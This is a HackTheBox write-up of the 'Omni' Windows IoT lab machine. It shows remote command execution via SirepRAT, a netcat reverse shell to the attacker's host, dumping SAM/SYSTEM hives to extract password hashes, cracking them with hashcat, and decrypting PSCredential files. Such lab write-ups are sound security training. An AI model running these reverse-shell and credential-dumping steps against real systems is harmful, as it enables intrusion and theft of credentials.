CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: omni

windows iot-core sirep-rat netcat hashcat pscredential

Omni is a Windows IoT machine authored by egre55, with an average rating of 3.2 stars.

// Lessons Learned

  1. passwordless / key-based login via ssh is functionally not the same as password-based login, at least when it comes reading PSCredential objects via PowerShell.

// Recon

┌──(pitfallen㉿kali)-[~/htb/boxes/omni]
└─$ nmap -A -p- --min-rate 10000 -Pn omni.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-13 09:17 AEST
Nmap scan report for omni.htb (10.10.10.204)
Host is up (0.038s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT      STATE SERVICE  VERSION
135/tcp   open  msrpc    Microsoft Windows RPC
5985/tcp  open  upnp     Microsoft IIS httpd
8080/tcp  open  upnp     Microsoft IIS httpd
|_http-title: Site doesn't have a title.
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
29817/tcp open  unknown
29819/tcp open  arcserve ARCserve Discovery
29820/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.92%I=7%D=12/13%Time=6397B6B2%P=aarch64-unknown-linux-
SF:gnu%r(NULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLin
SF:es,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\
SF:xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9
SF:m\x1c\xc9}\xc8O\x12");
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.36 seconds

Nmap reveals this machine is Windows-based running the following services:

Anonymous RPC access is not supported on this host:

┌──(pitfallen㉿kali)-[~/htb/boxes/omni]
└─$ rpcclient -U "" -N omni.htb
Cannot connect to server.  Error was NT_STATUS_IO_TIMEOUT

Accessing the http server on port 8080 returns a basic authentication window:

Typical default logins (admin / admin, admin / password) all appear invalid. Checking the response headers for this url indicate the realm is “Windows Device Portal”:

┌──(pitfallen㉿kali)-[~/htb/boxes/omni]
└─$ curl -I http://omni.htb:8080             
HTTP/1.1 401 Unauthorized
Set-Cookie: CSRF-Token=O7pHnOHnt3t1wPbhbYcN/PwcNlFNinSc
Server: Microsoft-HTTPAPI/2.0
WWW-Authenticate: Basic realm="Windows Device Portal"

Some basic searching confirms that this portal is typically part of Windows IoT Core, and used to manage iot devices, and that the default password for such devices is p@ssw0rd. Unfortunately, this is also invalid.

// Initial Foothold

There’s nothing to indicate a specific version of Windows IoT Core in use, but some general searching for vulnerabilities returns the SirepRAT project, a python-based tool capable of providing remote code execution on IoT core devices, as the SYSTEM user. Setting up the project is straightforward, and the documentation provides examples on the kind of commands that can be run:

┌──(sireprat)─(pitfallen㉿kali)-[/mnt/hgfs/GitHub/SafeBreach-Labs/SirepRAT]
└─$ python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 6, payload peek: 'b'omni\r\n''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>

Running the hostname command confirms the target is vulnerable, and a further check confirms we’re executing code as SYSTEM:

┌──(sireprat)─(pitfallen㉿kali)-[/mnt/hgfs/GitHub/SafeBreach-Labs/SirepRAT]
└─$ python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c echo " --v 
---------

---------
---------
C:\Data\Users\System

Running commands through SirepRAT is quite slow, so it makes sense to attempt upgrading to a proper reverse shell. To do this we can upload a 64-bit statically built version of netcat from our attack box, by first running the impacket-smbserver:

┌──(pitfallen㉿kali)-[~/htb/tools/int0x33-nc]
└─$ impacket-smbserver -smb2support pitfallen .
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

and then running the copy command via SirepRAT on the target:

┌──(sireprat)─(pitfallen㉿kali)-[/mnt/hgfs/GitHub/SafeBreach-Labs/SirepRAT]
└─$ python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c copy \\\\10.10.14.16\\pitfallen\\nc64.exe C:\Windows\Temp\nc64.exe" --v
---------

---------
---------
        1 file(s) copied.

---------
---------

---------
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 27, payload peek: 'b'        1 file(s) copied.\r\n''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>

All that is left to do is start a netcat listener on our target box:

┌──(pitfallen㉿kali)-[~/htb/tools/int0x33-nc]
└─$ nc -lvnp 443                               
listening on [any] 443 ...

and then run the uploaded binary on the target:

┌──(sireprat)─(pitfallen㉿kali)-[/mnt/hgfs/GitHub/SafeBreach-Labs/SirepRAT]
└─$ python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\Windows\Temp\nc64.exe 10.10.14.16 443 -e cmd.exe" --v               
---------

---------
<HResultResult | type: 1, payload length: 4, HResult: 0x0>

which delivers us a reverse shell as SYSTEM:

connect to [10.10.14.16] from (UNKNOWN) [10.10.10.204] 49673
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.

C:\windows\system32>

At this point, we would typically have access to the user flag, normally available in a low-privileged user’s home directory. While there is a user.txt file in C:\Data\Users\app, the file is different from what we normally find:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>

Instead of containing a plaintext flag, this file contains a PSCredential, a PowerShell-based method of storing credentials in an encrypted form. By default the user’s password serves as the encryption key, meaning that we can’t decrypt the credential without knowing the password for app, even though we have SYSTEM access. What we can do, however, is dump the SAM and SYSTEM files from the registry:

C:\windows\system32>reg save HKLM\SAM C:\SAM
reg save HKLM\SAM C:\SAM
The operation completed successfully.

C:\windows\system32>reg save HKLM\SYSTEM C:\SYSTEM
reg save HKLM\SYSTEM C:\SYSTEM
The operation completed successfully.

After copying these files down to our attack box, impacket-secretsdump can be used to dump the password hashes:

┌──(pitfallen㉿kali)-[~/htb/boxes/omni]
└─$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::
sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::
DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::
app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::
[*] Cleaning up...

Once we copy the app user’s NT hash e3cb0651718ee9b4faffe19a51faff95 into an app.hash file, hashcat and rockyou.txt can take care of the rest:

┌──(pitfallen㉿kali)-[~/htb/boxes/omni]
└─$ hashcat --force -m 1000 -a 0 app.hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting     
                                          
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
                                                                                     
OpenCL API (OpenCL 3.0 PoCL 3.0+debian  Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: pthread-0x000, 2191/4446 MB (1024 MB allocatable), 4MCU       
                                                                                     
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
                                                                                     
Hashes: 5 digests; 5 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates                                                                                              
Rules: 1                    

...

Host memory required for this attack: 1 MB 
                                                                                     
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

e3cb0651718ee9b4faffe19a51faff95:mesh5143

With the app user’s password mesh5143 revealed, we can now login to the Windows Device Portal attempted earlier:

Under the Processes menu is a Run command link, which provides a browser-based terminal for code execution as the app user. Now with a basic powershell command, we can decrypt the PSCredential file and access the user flag:

// Privilege Escalation

Since we already have a SYSTEM shell, we can browse to the administrator directory to discover the root flag at C:\Data\Users\administrator\root.txt. As with the user flag however, this file contains a PSCredential, meaning it can only be decrypted by logging in as the administrator or knowing that account’s password. Despite having the hash we earlier dumped from the registry, hashcat is unable to crack it using rockyou.txt, so it’s likely to be a complex / non-dictionary password.

Returning to the home folder of app there are a couple more files worth looking into, the first is hardening.txt:

This explains why the default password tried earlier did not work. There is also an iot-admin.xml file, which contains yet another PSCredential. This one can be decrypted by our app user using the same powershell command as before, and reveals the administrator password:

After logging out of the web portal, we can log back in as the administrator and run the same powershell command to decrypt the root.txt file in the administrator’s home directory, to obtain the root flag: